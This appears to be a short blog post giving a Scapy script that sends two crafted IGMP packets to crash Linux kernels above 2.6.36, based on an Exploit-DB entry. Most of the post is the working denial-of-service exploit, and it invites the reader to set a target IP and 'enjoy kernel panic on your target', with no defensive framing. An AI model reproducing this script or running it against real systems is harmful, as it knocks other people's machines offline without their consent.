quick scapy example for Linux kernel > 2.6.36 - IGMP kernel panic

A quick post, for fun :)

Based on http://www.exploit-db.com/exploits/18378/

in scapy put:

from struct import pack
from socket import inet_aton

target = "127.0.0.1" # host target IP, change this !!!
a=pack("!BBH",0x11,0xff,0)+inet_aton("224.0.0.1")
b=pack("!BBH",0x11,0x0,0)+inet_aton("0.0.0.0")+pack("!BBBB",0,0,0,0)
a1=a[:2]+pack("!H",checksum(a))+a[4:]
b1=b[:2]+pack("!H",checksum(b))+b[4:]
send(IP(dst=target,proto=2)/a1)
send(IP(dst=target,proto=2)/b1)

and enjoy kernel panic on your target (if it is running linux kernel above 2.6.36, including 3.x and allows IGMP traffic).  Yes, I know that it could be more nicely written, but this works.

There exists already a IGMP and IGMPv3 implementation in scapy but it is in the contrib folder.
There was no point in using it for this small script.
